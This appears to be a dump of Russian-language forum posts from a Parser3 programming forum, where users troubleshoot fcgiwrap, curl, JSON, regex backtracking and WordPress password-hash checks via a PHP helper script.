"78390","Проверил на другом сервере, действительно всё нормально работает.\
\
Разбираюсь в чём проблема. Этот сервер работает с парсер через nginx + fastcgi, видимо ошибки в конфигурации.\
\
Спасибо."
"78393","Может кому пригодится:\
\
Неправильно работал fcgiwrap.\
Дефолтное кол-во соединений 1.\
\
Задал опцию -c Number of fcgiwrap processes to prefork.\
При запуске fcgiwrap.\
\
Всё работает. Всем спасибо."
"78394","Если я всё правильно понимаю, тут (http://www.parser.ru/docs/lang/datetoday.htm) пропущено двоеточие — вместо \"^date:today[]\" должно быть \"^date::today[]\"."
"78396","Здравствуйте!\
\
Подскажите, как мне получив массив объектов в формате JSON, распарсить его, и произведя все необходимые действия, вывести в том же виде?\
\
На данный момент вот что имеем:\
[code]$example[\
	[\
		{\"a1\":\"v1\", \"a2\":\"v2\"}, \
		{\"b1\":\"v1\", \"b2\":\"v2\"}\
	]\
]\
$json[^json:parse[$example; $.double(true)]]\
^json:string[$json][/code]\
\
На выходе получаем не то, что ожидали (вместо массива объектов, объект объектов):\
[code]\
{\
	\"0\":{\
		\"a1\":\"v1\",\
		\"a2\":\"v2\"\
	},\
	\"1\":{\
		\"b1\":\"v1\",\
		\"b2\":\"v2\"\
	}\
}[/code]"
"78397","Массив парсится в хеш и понятно что это необратимое действие.\
Но в конкретном случае руками задача решается в две строки.\
\
^json:string[$json; $.hash[$2json] ]\
\
@2json[key;data;options]\
[ ^data.foreach[;v]{^json:string[$v]}[,] ]"
"78398","Спасибо!\
В документации только сейчас увидел опцию [code]$.класс[ссылка на метод][/code]\
\
При беглом сканировании документации: [b]$.hash[] != $.класс[][/b] ;-)"
"78399","Пишется аддон на парсере, и необходимо брать данные для авторизации из таблицы wordpress либо phpbb.\
\
Ни у кого нет костылика на php, чтоб используя штатные модули wordpress или phpbb собрать хэш пароля из того, что передает парсер?\
\
Есть вот такие изыскания по phpbb судя по смыслу кода нужно всего ничего, но и этого ничего я в php немогу.\
http://habrahabr.ru/post/150872/\
\
А это аналогично по wordpress\
http://3wforums.ru/topic/9717-kak-vordpress-heshiruet-parol/"
"78400","http://www.parser.ru/forum/?id=21374\
http://www.parser.ru/forum/?id=73316\
\
Не оно?"
"78401","Второе ближе к теме, но однако алгоритм получения хэша в вордпресс и пхпбб отличный от того, что там описан в финальном варианте."
"78402","Очевидно, вопрос в том, каков именно этот алгоритм."
"78403","Wordpress\
http://para.oklogistic.ru/class-phpass.txt"
"78404","Здравствуйте!\
\
не могу заставить работать ^curl:\
[code]^curl:session{\
        ^curl:options[$.library[libcurl.so.4.2.0]]\
	^curl:version[]\
}[/code]\
Всегда выдает одну и ту же ошибку:\
[quote]failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory[/quote]\
\
Интересно то, что в коде я меняю параметр на любые значения,\
$.library[asdfsadf.so], а ошибка не меняется, и по прежнему пишет про libcurl.so\
\
P.S.: Пробовал все варианты:\
писал полный путь, размещал libcurl.so в одну директорию с parser3.cgi, переименовывал и libcurl.so, размещал в /lib/ парсера, устанавливал права на выполнение и т.п.\
\
OS Ubuntu x64, Parser3 x64 v3.4.2\
\
Какие есть варианты?"
"78405","попробуйте\
^curl:options[$.library[libcurl.so.4]]\
или свяжитесь с хостинг-провайдером и узнайте путь к библиотеке"
"78406","Попробовал скопировать libcurl.so.4.2.0 в /usr/lib/libcurl.so\
Парсер принял параметр, и выдал мне ошибку на установку $.library:\
[quote][b]options[/b]\
failed to set option 'library': already loaded[/quote]\
То есть сейчас ошибка исходит от ^curl:options, а тогда от ^curl:session\
\
До вызова ^curl:session вызвать установку параметра ^curl:options[$.library[/путь/до/libcurl.so]] нельзя!\
[b]Как же тогда задать произвольный путь до libcurl.so?[/b]"
"78407","^curl:options[$.library[libcurl.so.4.2.0]] надо вызывать до (и соотвественно вне) ^curl:session. ^curl:session - это уже работа с curl, это ясно, если внимательнее смотреть на номер строки, в которой происходит исключение."
"78408","[quote]До вызова ^curl:session вызвать установку параметра ^curl:options[$.library[/путь/до/libcurl.so]] нельзя![/quote] - вы пробовали?)"
"78409","Вы все верно говорите, так работает, НО\
В [url=\"http://www.parser.ru/docs/lang/curloptions.htm\"]документации[/url] четко сказано:\
[b]Метод может быть вызван только внутри сессии.[/b]\
\
Спасибо!"
"78410","Если уж оно нестандартное:\
— переписать на парсере;\
— звать PHP-код, который будет проверять пароль."
"78411","Эти варианты я и рассматриваю, но для первого надо знать php, а я  с ним не дружу, а про костыль на php я и спрашивал. чтоб ему на входе скармливать пароль, а он выдавал хэш."
"78412","Которая будет принимать пароль, преобразовывать и выдавать хешь. Все таки более логично сделать свою реализацию.\
Тем более он уже реализован на разных языках.\
http://www.openwall.com/phpass/\
И есть вариант на перле +)"
"78413","дело сдвинулось с мертвой точки.\
\
есть скрипт (wppass.php) который вызывает class-phpass.php и отдает ему аргументы (пароль, хэш). А на выходе получаем либо true (1), либо ничего.\
[code]\
<?php\
require(\"class-phpass.php\");\
$wp_hasher = new PasswordHash(8, TRUE);\
$check = $wp_hasher->CheckPassword($argv[1], $argv[2]);\
print(\"$check\");\
?>[/code]\
\
Но на винде через exec не срабатывает, хотя из командной строки работает.\
\
[code]\
@content[]\
$args[^table::create{arg \
x:\\home\\server.loc\\www\\phptest\\wppass.php\
123456\
^$P^$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1\
}]\
\
$a[^file::exec[x:\\usr\\bin\\php.exe;;$args]]\
$a.text[/code]\
\
На выходе вместо \"1\" имеем:\
\
X-Powered-By: PHP/5.3.3 Content-type: text/html ^content[]\
\
Из командной строки:\
x:\\usr\\bin\\php.exe x:\\home\\server.loc\\www\\phptest\\wppass.php 123456 $P$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1\
\
X-Powered-By: PHP/5.3.3\
Content-type: text/html\
\
1"
"78414","Я столкнулся с подобной проблемой и решил ее немного иначе, через конфиг в /etc/init.d/fcgiwrap\
Достаточно изменить один параметр в этом конфигурационном файле:\
[code]# FCGI_APP Variables\
FCGI_CHILDREN=\"2\"[/code]\
OS Ubuntu x64, fcgiwrap устанавливался через основной репозиторий"
"78415","У меня нет винды под рукой, поэтому проверил на юниксе. :)\
\
Упростил php-скрипт (wppass.php):\
[code]\
#!/usr/bin/env php\
<?php\
  require(\"class-phpass.php\");\
  $wp_hasher = new PasswordHash(8, true);\
  exit($wp_hasher->CheckPassword($argv[1], $argv[2]) ? 0 : 1);\
?>\
[/code]\
\
Код на Парсере:\
[code]\
#!./parser3\
@main[]\
  ^if(^checkPassword[123456;^$P^$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1]){true}{false}\
  ^if(^checkPassword[654321;^$P^$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1]){true}{false}\
\
@checkPassword[aPassword;aHash][locals]\
  $f[^file::exec[./wppass.php;;$aPassword;$aHash]]\
  $result(!$f.status)\
[/code]\
\
Ожидаемо получил:\
[code]\
true\
false\
[/code]"
"78416","Привет!\
Обнаружилась очень веселая ситуация:\
есть код, который проверяет email на валидность: \
\
^if(^email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][i]){...}\
\
Обычно все работает хорошо, но сегодня этот код свалился на одном адресе: chabanenko.nikolai@yandex.ru.\
\
Выяснилось, что этот email пришел с пробелом в конце: $email[chabanenko.nikolai@yandex.ru ].\
Казалось бы, ну и что тут такого, просто не будет совпадения, однако код вываливается с ошибкой \"execution error (-8)\".\
\
Однако, если поменять chabanenko, nikolai или yandex на что-либо другое, то код отрабатывает нормально.\
Что за фокусы?"
"78417","Отсюда:\
http://pcre.org/pcre.txt\
\
[quote]\
PCRE_ERROR_MATCHLIMIT     (-8)\
\
The backtracking limit, as specified by  the  match_limit  field  in  a\
pcre_extra  structure  (or  defaulted) was reached. See the description\
above.\
[/quote]\
\
в последней версии был уменьшен лимит с 10M до 10K. увы, это было неправильное решение и данное изменение мы откатили.\
с nightly build этой проблемы должно не быть."
"78418","хм, странно. но у меня этот код не работает. даже на хостинге (freebsd)\
В обоих случаях true, т.к. в $f.text отлавливаю:\
----\
Content-type: text/html\
\
^content[] \
----\
а при попытке из консоли на хостинге запустить \
./wppass.php 123456 $P$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1\
второй аргумент долетает до скрипта в виде \".xA3B1\""
"78419","... пока не понятно что именно происходит. Гадать можно долго — надо искать проблему.\
\
Если вы получаете на выводе строчку \"^content[]\", то это указывает, что ваш код Парсером не обрабатывается. В моем коде такого метода нет. :)\
\
Не исключено, что на вашем хостинге php не собирали в режиме cli, а только cgi, тогда вместо конструктора exec надо использовать cgi.\
\
В консоли надо взять хеш в одинарные кавычки, чтобы доллар не работал как ссылка на переменную:\
./wppass.php 123456 '$P$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1'\
Мой скрипт возвращает результат в статусе, поэтому из консоли можно запустить так:\
./wppass.php 1234567 '$P$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1' && echo \"true\" || echo \"false\"\
\
p.s. Свой код я проверял именно ан FreeBSD – он работает."
"78420","Все лежит в одной папке\
\
файл index.html\
[code]^content[][/code]\
----\
файл auto.p\
[code]@content[]\
\
 ^if(^checkPassword[123456;^$P^$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1]){true}{false}\
  ^if(^checkPassword[654321;^$P^$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1]){true}{false}\
\
@checkPassword[aPassword;aHash][locals]\
  $f[^file::exec[./wppass.php;;$aPassword;$aHash]]\
  $result(!$f.status)[/code]\
----\
файл wppass.php\
[code]#!/usr/bin/env php\
<?php\
  require(\"class-phpass.php\");\
  $wp_hasher = new PasswordHash(8, true);\
  exit($wp_hasher->CheckPassword($argv[1], $argv[2]) ? 0 : 1);\
?>\
[/code]----\
\
\
И соответственно class-phpass.php в той же папке.\
\
Parser/3.4.2 (compiled on i386-unknown-freebsd8.1)\
\
Пробовал запускать как cgi вместо exec, в результате в $f.text :\
Content-type: text/html - уходит ^content[] - остается."
"78421","Если вы получаете код на парсере (^content[]) — это означает, что команды в вашем index.html не выполняются.\
\
>  в результате в $f.text\
Я не вижу в вашем коде вызова f.text."
"78422","$f.text я вставлял экспериментально, после:\
 ^if(^checkPassword[123456;^$P^$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1]){true}{false}\
там и отлавливаю результат выполнения exec:\
----\
Content-type: text/html\
\
^content[] \
----\
\
html-ка обрабатывается стандартно, через .htaccess не первый же год пишу на парсере"
"78423","смотрел логи парсера и случайно заменил конфигурационный auto.p на свой вариант этого кода с $f.text, и получил интересный ответ:\
/phptest/auto.p(3:8): ' Content-type: text/html\
^content[]' invalid number (double) [number.format]\
\
видимо в $f.text попадало только то, что в кавычках"
"78424","Существует два меню: главное и меню заданного раздела ([url=\"http://img.zelebober.com/svalka/other/1.jpg\"]скрин[/url]).\
\
Если перейти, например, в раздел About2, то About в главное меню станет ссылкой. Что нужно сделать, чтобы этого избежать?"
"78425","... что содержит переменная f в вашем content мне не известно."
"78426","Вы не показали код, формирующий меню, структуру в которой храняться разделы, структуру урлов и пр. Участники форума должны обо всем этом догадаться самостоятельно? :)"
"78427","Пардон ввел в заблуждение, код выглядит так.\
\
[code]@content[]\
 ^checkPassword[0;^$P^$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1]\
\
@checkPassword[aPassword;aHash][locals]\
  $f[^file::exec[./wppass.php;;$aPassword;$aHash]]\
  $f.text[/code]"
"78428","Все по 1 и 2 уроку из Документации. На каждое меню по своей таблице."
"78429","x:\\usr\\bin\\php.exe x:\\home\\server.loc\\www\\phptest\\wppass.php это совсем не то же самое, что ^file::exec[./wppass.php...].\
Напишите run-php.cmd с x:\\usr\\bin\\php.exe wppass.php $1 $2 и запускайте его."
"78430","Вот этот кусок кода занимается именно этим\
[code]\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"center\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
} [/code]\
\
Хотите подробней помощи - задавайте вопрос на конкретных кусках кода, етц"
"78431","http://www.parser.ru/docs/lang/opin.htm"
"78432","спасибо, приму на вооружение под win, но на текущий момент нужно, чтоб заработало под unix, т.к. работать оно будет на нем."
"78433","... поэтому вместо выполнения скрипта wppass.php он выполняет ваш же index.html. Именно поэтому в выводе вы видите строчку \"^content[]\". Жалко, что вы на это упорно не хотели обращать внимание.\
\
Попробуем обойти это, явно указав php откуда брать файл с кодом. Сделаем простенький скрипт php.sh, чтобы обойти safe-mode и не писать в file::exec путь к php относительно корня веб-пространства:\
[code]\
#!/bin/sh\
/usr/bin/env php $*\
[/code]\
\
Меняем код функции проверки пароля:\
[code]\
@checkPassword[aPassword;aHash][locals]\
  $f[^file::exec[./php.sh;;-f;./wppass.php;$aPassword;$aHash]]\
  $result(!$f.status)\
[/code]\
\
p.s. Я надеюсь, что вы не забудете вынести за пределы веб-пространства php.sh, wppass.php, class-phpass.php — им там не место совсем."
"78434","есть сайт, писаный очень давно и на втором парсере. надобно сделать из него статический. есть у кого-нить мысли-наработки?"
"78436","Пока что так и делаю. только вот много фишек с гет параметрами"
"78438","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/buildall?revision=1.7&view=markup&pathrev=HEAD\
\
Хотя не, дело не в этом. У меня ошибка проявилась при переходе на дебиан 7. При том что я использовал старую версию бинарника, который использовался на 6 и все работало. Хм.\
\
ADD.\
Хотя не, что-то поменялось в тексте который разбирается."
"78439","берётся какая-нить выкачивалка сайтов типа teleport pro и \"выкачивается\". получается статика.\
и get-ы он умеет делать (про post-ы не помню, последний раз пользовался им лет 8 назад, если не больше)"
"78441","та от и я же давненько не сталкивался с подобным :)\
ПОднял бы на парсере, но хостинг 64битный и ни одна из версий Парсер2 работать не хочет."
"78442","не заработало даже через шелл-скрипт.\
После этого попробовал упростить процедуру до:\
\
[b]Файл wppass.php[/b]\
----\
[code]#!/usr/bin/env php\
<?php\
  require(\"class-phpass.php\");\
  $wp_hasher = new PasswordHash(8, true);\
  exit($wp_hasher->CheckPassword(123456,'$P$BOvQYoHxOvq5BcQIIBeuCR0er.xA3B1') ? 0 : 1);\
?>[/code]\
----\
\
[b]Файл php.sh[/b]\
----\
[code]#!/bin/sh\
/usr/bin/env php ./wppass.php 0 && echo \"true\" || echo \"false\"[/code]\
----\
Запускаю из консоли php.sh, результат - true (при изменении в wppass.php значений - естественно false) все работает.\
\
[b]файл auto.p[/b]\
----\
[code]@WpAuth[]\
  $f[^file::exec[./php.sh]]\
  $f.text // $f.status[/code]\
----\
\
Вызываю @WpAuth[]\
На выходе:\
\"Content-type: text/html ^WpAuth[]true // 0\" - true не зависит от совпадения пароля/хэша\
без  \"0 && echo \"true\" || echo \"false\" статус все равно \"0\""
"78443","Посмотрите внимательно моё предыдущее сообщение — там все разжёвано. Топик закрываю, поскольку мы пошли по третьему кругу. :("
"78446","Есть выборка из плохо организованной базы данных. 102 колонки, ~140000 строк. Нужно не затрагивая ни базу, ни саму выборку (она используется другими компонентами системы) сохранить порядка 25 колонок этой выборки в табличный файл (через ^table.save[...]). Не городя огород с menu и прочими вещами, т.к. таблица большая и будет только расти."
"78447","Сделать sh-файл, который зовет команду mysql с запросом во входящем потоке, а результат из выходного потока записывает в файл. Это будет быстро и вполне кастомизируемо — ключей для записи csv-файлов у команды mysql полно. Короче, man mysql вам в помощь. :)\
\
Можно, конечно сделать это и парсером. Для этого надо дополнить функцию, формирующую запрос, параметром, который делает выборку только нужных столбцов. Использовать эту функцию можно будет в других компонентах без изменений. Но если количество данных растет, то лучше сделать это все внешним, потоковым скриптом."
"78449","Здравствуйте.\
\
Могу ли я достучаться до переменной из auto.p?\
\
auto.p\
[code]$a[hello dmitry]\
[/code]\
\
test.html\
[code]Message: <strong>$a</strong>![/code]\
\
Выводит:\
[code]Message: ![/code]"
"78450","... то решение простое. Пишем auto.p в таком виде:\
[code]\
@auto[]\
  $a[hello dmitry]\
[/code]\
\
И почитайте внимательно http://www.parser.ru/docs/lang/mainclass.htm У вас проблема возникла из-за того, что вы задали неявный метод main в auto.p, а потом переопределили его в test.html."
"78451","Да, огромное спасибо. Разобрался."
"78455","Мне кажется, что и 10к более чем достаточно для 30 символов адреса. А если не хватает, то проблема в регулярном выражении. Оно мне действительно не нравится, и мне кажется, что в данном случае ограничение спасло вас от stack overflow."
"78456","И 10М не спасают.\
Как бы её разобрать?"
"78458","я был не прав, когда [URL=http://www.parser.ru/forum/?id=78417]писал[/URL], что в текущем релизе для опции match_limit используется значение 10K вместо 10M.\
такое изменение мы действительно делали в какой-то из бэта версий, но откатили его до релиза и в релизе оно 10M (default).\
\
упомянутая в [URL=http://www.parser.ru/forum/?id=78438]этом сообщении[/URL] значение 10K в скрипте buildall относится к другой опции: with-match-limit-recursion (я писал про опцию with-match-limit). за подробностями в http://pcre.org/pcre.txt.\
\
что касается проблемы: она с очень неоптимальном регулярном выражении, а конкретнее в этих его частях:\
[code]\
\\w+([.-]?\\w+)+\
\\w+([.-]?\\w+)*\
[/code]\
\
опи приводят к бешеному количеству \"откатов\".\
если убрать символы '?' (которые в данном месте абсолютно лишние), то проблема решается и регулярное выражение становится гораздо оптимальнее."
"78460","А можно ли кроме как через регулярки разобрать такой текст?\
Например вырезать из страницы саму таблицу, обрамить её xml заголовком и далее скормить xdoc. Ну и далее вариант первый трансформация или разбор через ноды."
"78461","если для вашей задачи такой вариант подходит -- то почему нет?\
\
всё зависит от задачи. без знания задачи что-либо порекомендовать невозможно."
"78462","Есть таблица, http://www.tf2wh.com/overstock.php\
Надо отфильтровать по определенному значению + произвести расчеты, отсортировать и вывести +)\
Пока работало, я делал в два присеста: 1 вырезал таблицу их страницы, второй разбирал строки таблицы вот этим выражением.\
[code]$rows[^find.1.match[<(?:(?:tr|tr class='.+?'))><th>(\\d+?)<th><font color='.+?'>(.+?)</font><td><i class='priceline'>(\\d+?)c</i><td>&times^;(\\d+?)<td>(\\d+?)<(?:(?:td|td style=\".+?\"))>(\\d+?)%][g]]\
#1   	2   	3    	4    	5    	6\
#didx	item	price	level	limit	percent[/code]"
"78463","а проблема-то в чем?\
\
насколько я вижу, работать с данными как с xml у вас не выйдет (не валидный xml).\
а вот regex оптимизировать -- запросто.\
например:\
[code]\
<(?:(?:tr|tr class='.+?'))> => <tr(?:\\s+class='[^^']+')> или <tr[^^>]*>\
<th>(\\d+?)<th> => <th>(\\d+)<th>\
'.+?' => '[^^']+' (это самое важное изменение)\
(\\d+?)c => (\\d+)c\
<(?:(?:td|td style=\".+?\"))> => <td(?:\\s+style=\"[^^\"]+\")> или <td[^^>]*>\
[/code]"
"78465","В вашем случае SELECT * - добро ))"
"78467","функция, получаю запрос, в теле запроса json, перевожу все в hash, записываю в атрибуты значения объектов, НО, тут засада...\
'setAttribute' is 'bool', it has no string representation\
вопрос вот в чем, насколько я понял в setAttribute можно передать только строку в качестве значения, ковырял весь вечер но найти как с помощью парсера перевести все значения в строку не смог...\
\
json - [{\"id\":\"192DB9E22BAE46248C08BA63627561C5\",\"title\":\"34535\",\"snippet\":\"35434535\",\"show\":false}]\
\
код функции - \
\
$xml[^xdoc::load[/data/${name}.xml]]\
$root[$xml.documentElement]\
\
$updates[^json:parse[$params;$.double(false)]]\
\
^if($root is 'xnode' && $updates is 'hash' && ^updates._count[] > 0){\
	^updates.foreach[key;value]{\
		$item[^xml.selectSingle[//item[attribute::id='${value.id}']]]\
		^if($item is 'xnode'){\
			^value.foreach[key;value]{\
				^item.setAttribute[$key;$value]\
			}\
		}{\
			$item[^xml.createElement[item]]\
			^value.foreach[key;value]{\
				^item.setAttribute[$key;$value]\
			}\
			$append[^root.appendChild[$item]]\
		}\
	}\
}"
"78468","... но вы можете написать его самостоятельно.\
\
Заготовка:\
[code]\
@value2string[aValue]\
  $result[^switch[$aValue.CLASS_NAME]{\
     ^case[string;int;double]{$aValue}\
     ^case[bool]{^if($aValue){true}{false}}\
     ^case[date]{^aValue.sql-string[]}\
#   И так для любых нужных классов\
#   ...\
     ^case[default]{^throw[unknown.type;Не получается преобразовать $aValue.CLASS_NAME в строку.]}\
  }]\
[/code]"
"78469","В моем случае то что надо! Спасибо огромное!"
"78471","Значит придется добавить еще разбор только по tr и далее уже строку разбирать, надо бы не забыть для отдельной строке создать регулярку через Regex +)"
"78472","написал следующий код:\
[code]\
@USE\
debug/Erusage.p\
\
\
@main[]\
$sFileSpec[/../temp/t.html]\
^if(-f $sFileSpec){\
	$f[^file::load[text;$sFileSpec]]\
}{\
	$f[^file::load[text;http://www.tf2wh.com/overstock.php]]\
	^f.save[text;$sFileSpec]\
}\
$s[]\
$sDummy[^f.text.match[<table id=\"over\"[^^>]*>.+?<tbody>(.+?)</tbody>][]{$s[$match.1]}]\
\
^Erusage:measure{\
$t[^s.match[<tr[^^>]*><th>(\\d+)<th><font[^^>]+>([^^<]+)</font><td><i[^^>]*>(\\d+)c</i><td>&times^;(\\d+)<td><td>(\\d+)<td[^^>]*>(\\d+)%][g]]\
}[v]\
\
^t.save[/../temp/t.txt]\
\
Count: ^t.count[]<br />\
Time: $v.time ms<br />\
KB: $v.memory_kb\
[/code]\
\
согласно результатам Erusage, сам match расходует меньше 400 KB и выполняется очень быстро (на моём компе).\
\
P.S. оптимизированием первого match-а я не занимался. да от него можно вообще при необходимости избавиться."
"78473","в файле index.html есть переменная\
[code]$all_strings(^get_table_count[mailing;mailing.table])[/code]\
в файле auto.p\
[code]@create_sql_table[table_name;fields]\
^if(def $fields){\
	^fields.menu{\
		$string[$string $fields.field]\
		}\
# Создание таблицы\
	^void:sql{CREATE TABLE IF NOT EXISTS $table_name ($string ) DEFAULT CHARSET=cp1251}\
}\
########################################################################################\
@get_table_count[table;file]\
^try{ \
# Пробуем получить количество строк таблицы\
 $result(^int:sql{select count(*) from $table})\
}{\
# Обработали ошибку\
 $exception.handled(1)\
# Загружаем поля таблицы $table   \
 $mysql_table[^table::load[tables/mysql/${file}]]\
# Создаём таблицу $table\
 ^create_sql_table[$table;$mysql_table]\
# Получили результат \
 $result(0)\
}[/code]\
Код вроде бы правильный. Но он не создает таблицу в БД. Почему?"
"78474","А вы вместо прямого создания сделайте для начало вывод sql запросы и выполните его в консоли mysql. Для начала я вижу отсутствие запятых при генерации $string."
"78475","можно по подробнее, я только начал на парсере работать и очень многого не знаю.\
>>А вы вместо прямого создания сделайте для начало вывод sql запросы и выполните его в консоли mysql.\
Я правильно понял, просто в БД попробовать создать таблицу, да?\
>>Для начала я вижу отсутствие запятых при генерации $string.\
\
[code]$string[$string, $fields.field][/code]\
так?"
"78476","В ходе работы дописал файлики для работы с Sqlite для sql классов (По сути калька-римейк с MySql).\
Присылать?"
"78477","[code]@create_sql_table[table_name;fields]\
^if(def $fields){\
		$string[CREATE TABLE IF NOT EXISTS $table_name ^fields.menu{$fields.field}[,] DEFAULT CHARSET=cp1251]\
#debug\
	^throw[debug;sql;$string]\
# Создание таблицы\
	^void:sql{$string}\
}[/code]\
В логе с ошибкой будет запрос к sql, проверьте правильный ли он"
"78479","Характеристики проблемы:\
\
Windows XP\
парсер 3.4.2 xml\
кодировка парсерного кода (-load-csv.html) utf-8\
кодировка запрос/ответа utf-8\
используется метод ^file:list с указанием маски поиска\
среди файлов, попадающих под маску, есть с русскими именами\
\
Проблема:\
***************\
\\.csv$\
\
UTF-8 validation failed during pcre_exec (-10).\
-load-csv.html(13:25)\
***************\
\
код на 13 строке:\
\
$filelist[^file:list[.;\\.csv^$]]\
(вообще весь код страницы пока состоит только из этой строки)\
\
но если до указанной строки поставить\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
то проблема исчезает и всё работает, но в кодировке 1251"
"78480","уточнение: кодировка самого файла -load-csv.html роли не играет."
"78482","http://www.opensea.ru/parser3/\
\
проверьте ссылку"
"78484","http://www.parser.ru/examples/debug-fork/"
"78486","Еще:\
\
проверил на Windows Server 2003 R2 -- аналогичная ошибка на парсере 3.4.2"
"78487","я бегло глянул и не увидел в коде перекодирования.\
\
т.е. как имя файла отдаёт OC, там мы её и подсовываем regexp-у. т.е. если вы работаете в UTF-8, а OC вернула строку в 1251, то очевидно, что будет ошибка.\
\
один из возможных workaround-ов вы нашли.\
ещё один -- переключить кодировку, создать объект-regex, переключить кодировку обратно.\
\
но вообще нужно перекодировать, ведь имена файлов при несовпадении кодировок всё равно возвращаются кривыми. я ковыряю это место (я про file:list), думаю что исправлю и это."
"78488","Согласно sections.cfg, title страницы - \"Офигенные утятницы из Бенина\".\
\
Хочу использовать этот столбец также в другом месте страницы, но для этого надо уронить его первую букву. \"Расскажите про $sections.title вашим друзьям\", типа.\
\
Как это сделать?! Глобальный lower не подходит. Отрезать первую букву, lower ее отдельно, приставлять обратно - всё это как-то громоздко :(.\
\
Возможно, есть более простой выход?"
"78489","ДД!\
\
чтонить сделали? :)\
\
вдруг выясилось что при входящем символе х01 на конструкцию \
\
$for_print[^str.match[([\\x00-\\x1f])][g]{\\u00^match.1.format[%02x]}]\
\
ругается invalid number (double) в .format\
"
"78490","[quote]Отрезать первую букву, lower ее отдельно, приставлять обратно - всё это как-то громоздко[/quote]\
\
Это самый простой и очевидный способ. Все остальное, действительно громоздко. :)"
"78491","потому что первым словом фразы может оказаться нероняемое имя собственное \"Парижа дивные огни\" :)\
\
Если же уверены, что такого быть не может, то как вариант - оборачивайте первое слово фразы в <span></span> и в css навешивайте этому спану стиль text-transform:lowercase|capitalize в зависимости от ситуации"
"78492","Здравствуйте! Подскажите в чем может быть проблема: выпадает такое сообщение \"json class is undefined\".\
В auto.p лежит инструкция\
@auto[]\
^json:parse[...]\
как подключить класс?"
"78493","скорее всего нужно парсера обновить"
"78494","Parser/3.4.0 (compiled on i386-pc-win32)\
сборка Денвера"
"78495","http://www.parser.ru/news/\
\
\"[24 февраля 2011]  Выпущена версия 3.4.1: Появилась встроенная поддержка json.\"\
\
В 3.4.0 json не было."
"78496","Но впереди ещё падежи и разные формы.\
Универсальности нет."
"78498","[code]\
$id(10)\
\
^db{ \
     $Param1[^int:sql{select var from tablevar1 where varid = $id}]\
     $Param2[^int:sql{select var from tablevar2 where varid = $id}]\
     $lCalculate[^string:sql{select clc from table where id = $id}] \
 }\
# Param1 = 10\
# Param2 = 25\
# lCalculate = $Param1 * $Param2 - $Param1\
\
 $lResult(^process{^untaint{^^eval($lCalculate)}})\
\
# lResult = 0 ????\
\
 ^db{ ^void:sql{insert into Results (clcID,Rslt)VALUES($id,$lResult)}}\
\
[/code]\
\
Как увидеть значения Param внутри ^process ?"
"78499","[code]\
$Param1[^taint[10]]\
$Param2[^taint[25]]\
$lCalculate[^taint[^$Param1 * ^$Param2 - ^$Param1]] \
\
$lResult(^process{^untaint{^^eval($lCalculate)}})\
$lResult\
[/code]\
\
=> 240\
проверяйте, что у вас в переменных и они точно не объявлены локальными?"
"78500","invalid number (double)\
$Param1\
-body of process-(1)\
lexception.type=number.format\
\
:("
"78501","[quote]точно не объявлены локальными[/quote]\
\
проверил: точно не объявлены"
"78502","[quote]$Param1[^taint[10]]\
$Param2[^taint[25]]\
$lCalculate[^taint[^$Param1 * ^$Param2 - ^$Param1]] \
\
$lResult(^process{^untaint{^^eval($lCalculate)}})\
$lResult[/quote]\
\
Ваш привер 1 к 1 заработал\
\
в таблицу table в clc внес \"^$Param1 * ^$Param2 - ^$Param1\"\
\
в общем код сделал:\
[code]\
$id(10)\
\
^db{ \
     $vParam1[^int:sql{select var from tablevar1 where varid = $id}]\
     $vParam2[^int:sql{select var from tablevar2 where varid = $id}]\
     $vCalculate[^string:sql{select clc from table where id = $id}] \
 }\
# vParam1 = 10\
 $Param1[^taint[$vParam1]]\
# vParam2 = 25\
 $Param2[^taint[$vParam2]]\
# vCalculate = ^$Param1 * ^$Param2 - ^$Param1\
 $Calculate[^taint[$vCalculate]]\
\
 $lResult(^process{^untaint{^^eval($Calculate)}})\
\
\
 ^db{ ^void:sql{insert into Results (clcID,Rslt)VALUES($id,$lResult)}}\
\
[/code]\
\
результат:\
\
[quote]invalid number (double)\
$Param1\
-body of process-(1)\
lexception.type=number.format[/quote]"
"78503","[code] \
## $form:Lot = 10\
## $form:UnitID = 1\
## $lType = 2\
\
   ^db{\
	$lUnit[^table::sql{SELECT Name, Clc from dir_Unit WHERE ID = ^form:UnitID.int(0) }]\
	$lSF[^int:sql{SELECT SF from dir_Type where ID = $lType}[$.default(43)]]\
      }\
\
## $lUnit.Name = блабла\
## $lUnit.Clc = ^$me * 35.1 / ^$SF\
## $lSF = 55\
\
    $me[^taint[^form:Lot.int(0)]]\
    $SF[^taint[$lSF]]\
    $Formula[^taint[$lUnit.Clc]]\
\
    $Res[^process{^untaint{^^eval($Formula)}}]\
\
    $me<br>$lSF<br>$SF<br>$lUnit.Clc<br>$Formula<br>$Res\
 [/code]\
\
и все одно:\
\
[code]\
invalid number (double)\
$me\
-body of process-(1)\
lexception.type=number.format[/code]"
"78504","в БД _НЕ_ надо обрамлять $ !\
\
[code]$me * 35.1 / $SF[/code]"
"78505","Требуется сделать переборку небольшого файлика (в виде таблички через табы). Делаю так:\
\
[code]\
#имя файла с таблицей описания картинок\
#есть класс product уже в готовом коде, в котором есть путь к нужной директории\
$a[$product.path]\
#внутри этой директории нужно пройти немного глубже\
$b[assets/imgs_list]\
$c[${a}${b}]\
\
^if(-f $c){\
$links[^table::load[nameless;$с]]\
	^links.menu{\
		<a href=\"$links.0\">$links.1</a></br>\
	}\
}\
[/code]\
\
Выдаётся ошибка, которая никак не связана с этим файлом...\
\
